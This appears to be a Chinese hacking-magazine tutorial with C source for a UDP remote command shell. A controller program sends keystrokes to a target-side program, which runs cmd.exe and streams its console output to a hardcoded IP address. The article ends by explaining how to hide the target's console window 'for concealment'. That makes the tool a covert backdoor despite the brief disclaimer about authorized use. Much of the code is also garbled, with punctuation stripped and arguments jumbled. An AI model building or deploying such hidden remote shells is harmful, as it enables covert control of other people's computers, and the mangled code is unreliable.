在办公室工作远控类程序中,远程执行CMD命令的功能非常实用,可以实现大量远控本身没有提供的功能。一般远控程序提供类似于资源管理器的文件目录浏览功能,文件上传、下载功能,远程运行程序、键盘记录和屏幕等基本功能,但受限于体积和开发等问题,很难面面俱到,比如文件搜索、进程查看、端口查看等。如果提供一个远程的CMD功能,那就可以像在本机使用命令行一样操作远程主机了。在远控中这个功能常用管道的方式实现。近日在黑防编辑的指导下,利用传送控制台缓冲区的方式实现了一个远程同步CMDSHELL的程序,该程序利用UDP协议传输CMDSHELL窗口的缓冲区数据,可使在本地主机CMD窗口中输入的命令在远程主机上的CMD窗口中同步显示和执行,返回结果也同样同步显示。测试效果如图1所示。
程序分为本地控制端和远程被控端两部分,通过UDP协议进行数据传输。运行时先打开本地控制端程序,就会出现一个CMD窗口,程序绑定了UDP的8123端口等待接收数据。同时程序安装一个事件钩子,也就是建立了一个回调函数,当检测到输入为Crtl+C或Crtl+Break后就退出程序。紧接着程序会创建并激活一个控制台屏幕缓冲区作为当前显示的控制台的屏幕缓冲区。之后程序进入循环,等待接收绑定的UDP8123端口上的数据。一旦接收到数据就会存入到当前的控制台屏幕缓冲区当中并显示出来。当我们在此CMD窗口中输入数据时,程序就会将屏幕缓冲区中的数据通过UDP包传回到远程被控端。从而实现了本地CMD窗口的数据和远程被控端的窗口数据的一致。本地控制端程序如图二所示:其中dir命令显示的是远程主机的C盘数据。
本地控制端的程序代码部分注释如下:
HANDLEMutexClient=CreateMutex(NULL,FALSE,RemoteCMD); ...... hsocket=socket(AF_INET,SOCK_DGRAM,0); //创建一个UDP协议套接字 ...... if(ioctlsocket(hsocket,FIONBIO,argit))//设置socket为非阻塞模式 { ...... return; } UdpPort=htons(8123); //接收数据的UDP端口 //设置绑定的套接字地址结构 bindSockaddr.sin_family=AF_INET; bindSockaddr.sin_port=UdpPort; bindSockaddr.sin_addr.s_addr=INADDR_ANY; if(SOCKET_ERROR==bind(hsocket,(conststructsockaddr*)bindSockaddr, sizeof(bindSockaddr))) //绑定套接字 { MessageBox(0,BindRemoteCMDportfail...,NULL,MB_OK); CloseHandle(MutexClient); closesocket(hsocket); WSACleanup(); return; } SetConsoleCtrlHandler(HandlerRoutine,TRUE);//安装一个事件钩子,用以响应退出按键 SetConsoleTitle(RemoteCMD); //给控制台窗口设置标题 safe_attrib.nLength=sizeof(SECURITY_ATTRIBUTES); safe_attrib.lpSecurityDescriptor=NULL; safeattrib.bInheritHandle=TRUE; //创建一个新的屏幕缓冲区并返回其句柄。控制台程序通过句柄访问控制台的输入缓冲区及屏幕缓冲区,该句柄可以用在任意需要控制台输入的函数中。 //新的屏幕缓冲区不会激活,除非调用了SetConsoleActiveScreenBuffer函数 hConsoleOutput=CreateConsoleScreenBuffer (GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, safe_attrib, CONSOLE_TEXTMODE_BUFFER, NULL); ...... dwSize.X=80; dwSize.Y=100; //控制台屏幕缓冲区的大小 SetConsoleScreenBufferSize(hConsoleOutput,dwSize); SetConsoleActiveScreenBuffer(hConsoleOutput);//激活该缓冲区 while(RecvSreen()) { //接收屏幕数据 if(!KeyboardEvent(100))//发送键盘数据 { break; } } SetConsoleCtrlHandler(HandlerRoutine,FALSE); //卸载事件钩子 CloseHandle(MutexClient); closesocket(hsocket); WSACleanup(); //关闭互斥体 //关闭套接字 BOOLRecvSreen() { intfromlen=sizeof(toSockaddr); DWORDNumberOfcharsWriten; COORDdwWriteCoord; SREEN_INFObuffer; //从hsocket中接收发送端发来的控制台屏幕缓冲区数据 if(16recvfrom(hsocket,(PCHAR)(buffer),sizeof(SREEN_INFO),0, toSockaddr,fromlen)) { returnTRUE; } if(buffer.packhead.packType!=KEY_SREEN) { returnTRUE; } if(buffer.packhead.SreenBufferSize!=24036) { returnTRUE; } if(!memcmp(buffer.consoleBuffer.wCodePageID,cmdBuffer,6000)) { returnTRUE; } dwWriteCoord.X=0;//写屏幕缓冲区的起始位置 dwWriteCoord.Y=0; //将接收到的数据显示到当前的控制台屏幕中 WriteConsoleOutputAttribute( hConsoleOutput , , (const (const WORD char *)(buffer.consoleBuffer.Attribute),8000, dwWriteCoord,NumberOfcharsWriten); WriteConsoleOutputCharacter( hConsoleOutput *)(buffer.consoleBuffer.Character),8000, dwWriteCoord,NumberOfcharsWriten); SetConsoleScreenBufferSize( hConsoleOutput hConsoleOutput , , buffer.consoleBuffer.csb.dwSize); SetConsoleCursorPosition( buffer.consoleBuffer.csb.dwCursorPosition); SetConsoleOutputCP(buffer.consoleBuffer.wCodePageID); memcpy(cmdBuffer,buffer.consoleBuffer,6000); returnTRUE; } BOOLKeyboardEvent(DWORDdwMilliseconds) { INPUT_RECORDBuffer; DWORDNumberOfEventsRead; HANDLEinput; input=GetStdHandle(STD_INPUT_HANDLE);//获得当前的标准输入句柄 if(WAIT_OBJECT_0==WaitForSingleObject(input,dwMilliseconds)) { //将当前控制台的输入数据存入buffer if(ReadConsoleInput(input,Buffer,1,NumberOfEventsRead)) { if(Buffer.EventType==KEY_EVENT) { //将本地控制端的控制台输入数据发送给远程被控端 SendKeyInfo(KEY_NO_CTRL,Buffer,sizeof(INPUT_RECORD)); } } } returnTRUE; }
在目标机上运行远程被控端程序。该程序首先绑定UDP8124端口。随后打开一个控制台,并创建一个新的控制台屏幕缓冲区且将其设置为当前控制台的屏幕缓冲区。然后创建一个cmd.exe进程,该进程的输入输出都会通过刚才创建的控制台屏幕缓冲区显示出来。同时该缓冲区中的数据都会通过UDP包向接收端程序发送(此处使用的地址为192.168.123.119),而接收到的键盘数据也会写入当前的屏幕缓冲区当中,从而实现了远程运行各种CMD命令的功能。远程被控端程序如图三所示:
远程被控端程序的部分关键代码如下:
intAPIENTRYWinMain(HINSTANCEhInstance, HINSTANCEhPrevInstance, LPSTR int lpCmdLine, nCmdShow) { ...... //创建互斥,避免多次运行 HANDLEMutexClient=CreateMutex(NULL,FALSE,RemoteCMDS); if(GetLastError()==ERROR_ALREADY_EXISTS) { MessageBox(0,RemoteCMDShasrunning...,NULL,MB_OK); return0; } ...... //绑定UDP端口 UdpPort=htons(8124); bindSockaddr.sin_family=AF_INET; bindSockaddr.sin_port=UdpPort; bindSockaddr.sin_addr.s_addr=INADDR_ANY; if(SOCKET_ERROR==bind(hsocket,(conststructsockaddr*)bindSockaddr, sizeof(bindSockaddr))) { MessageBox(0,BindRemoteCMDportfail...,NULL,MB_OK); CloseHandle(MutexClient); closesocket(hsocket); WSACleanup(); return0; } AllocConsole();//为调用进程分配一个新的控制台即打开一个控制台窗口ShowWindow(GetConsoleWindow(),SW_SHOW);//获得控制台窗口句并,并将控制台窗口显示出来。 SetConsoleCtrlHandler(HandlerRoutine,TRUE);//设置控制台钩子。第一个参数是函数指针,就是上面的那个函数。第二个参数是标志,如果为TRUE那么就安装钩子,如果为FALSE那么删除钩子 safe_attrib.nLength=sizeof(SECURITY_ATTRIBUTES); safe_attrib.lpSecurityDescriptor=NULL; safe_attrib.bInheritHandle=TRUE; hConsoleOutput=CreateConsoleScreenBuffer(GENERIC_READ|GENERIC_WRITE, 为控制台创建额外的屏幕缓冲区 // FILE_SHARE_READ|FILE_SHARE_WRITE, safe_attrib, CONSOLE_TEXTMODE_BUFFER, NULL); ...... SetConsoleScreenBufferSize(hConsoleOutput,dwSize); SetConsoleActiveScreenBuffer(hConsoleOutput);//设置为当前控制台的缓冲区 //创建一个cmd.exe进程,输出指向了当前控制台的屏幕缓冲区 lpStartupInfo.cb=sizeof(STARTUPINFO); lpStartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; lpStartupInfo.wShowWindow=SW_SHOW; lpStartupInfo.hStdError=hConsoleOutput; lpStartupInfo.hStdOutput=hConsoleOutput; lpStartupInfo.hStdInput=GetStdHandle(STD_INPUT_HANDLE); while(TRUE) { if(!CreateProcess(0,C:\\WINDOWS\\system32\\cmd.exe,0,0,0,0,0,0, lpStartupInfo,lpProcessInformation))//创建的CMD输出到指定的控制台屏幕缓冲区 { MessageBox(0,createprocessfailed,NULL,MB_OK); CloseHandle(MutexClient); CloseHandle(hConsoleOutput); closesocket(hsocket); WSACleanup(); return0; } while(RecvKeyInfo())//接收发送端数据,发送屏幕缓冲区数据 { if(WAIT_TIMEOUT!=WaitForSingleObject (lpProcessInformation.hProcess,100)) { break; } } TerminateProcess(lpProcessInformation.hProcess,0); CloseHandle(lpProcessInformation.hProcess); CloseHandle(lpProcessInformation.hThread); } return0; } BOOLRecvKeyInfo() { DWORDNumberOfCharsRead; structsockaddrfromSockaddr; COORDdwReadCoord; KEY_INFObuffer; CONSOLE_BUFFERsendBuffer; intfromlen=sizeof(fromSockaddr); //从socket接收数据存入buffer if(0=recvfrom(hsocket,(PCHAR)(buffer),sizeof(KEY_INFO),0, fromSockaddr,fromlen)) { switch(buffer.packhead.packType) { caseKEY_NO_CTRL: WriteConsoleInput(GetStdHandle(STD_INPUT_HANDLE),buffer.Key,1, NumberOfCharsRead);//将buffer数据写入控制台输入缓存//GetStdHandle获取当前的标准输入(STDIN)和标准输出(STDOUT)设备句柄break; caseKEY_CTRL_C: GenerateConsoleCtrlEvent( CTRL_C_EVENT , NULL ); //GenerateConsoleCtrlEvent函数可以产生CTRL_C_EVENT和CTRL_BREAK_EVENT事件 break; caseKEY_CTRL_BRAK: GenerateConsoleCtrlEvent(CTRL_BREAK_EVENT,NULL); break; default: if((GetTickCount()-cout)1000) { returnTRUE; }else{ cout=GetTickCount(); } break; } } GetLastError(); dwReadCoord.X=0; dwReadCoord.Y=0; memset(sendBuffer.Character,0x20202020,8000); sendBuffer.wCodePageID=GetConsoleOutputCP(); //控制台的输出代码页 ReadConsoleOutputAttribute(hConsoleOutput,(WORD*)sendBuffer.Attribute, 8000,dwReadCoord,NumberOfCharsRead); ReadConsoleOutputCharacter(hConsoleOutput,(PCHAR)sendBuffer.Character, 8000,dwReadCoord,NumberOfCharsRead);//获得控制台的输出数据,以便接下来发送 GetConsoleScreenBufferInfo(hConsoleOutput,sendBuffer.csb); SendSreenBuffer(KEY_SREEN,sendBuffer,sizeof(CONSOLE_BUFFER)); //向192.168.123.119发送控制台输出数据 returnTRUE; }
以上是程序的代码实现,测试效果如图一所示。当远程被控端通过UDP协议连接上后,就可以通过本地的控制端来远程运行各种CMD命令了,其结果也会实时地显示在本地控制端的控制台上。为了隐蔽,我们可以将远程被控端的控制台窗口隐藏起来,只需将代码中的两处窗体的显示属性”SW_SHOW”改为”SW_HIDE”即可。本测试程序在vs2008下编译通过。本文内容所提及均为本地测试或需要经过目标授权同意的远程控制软件。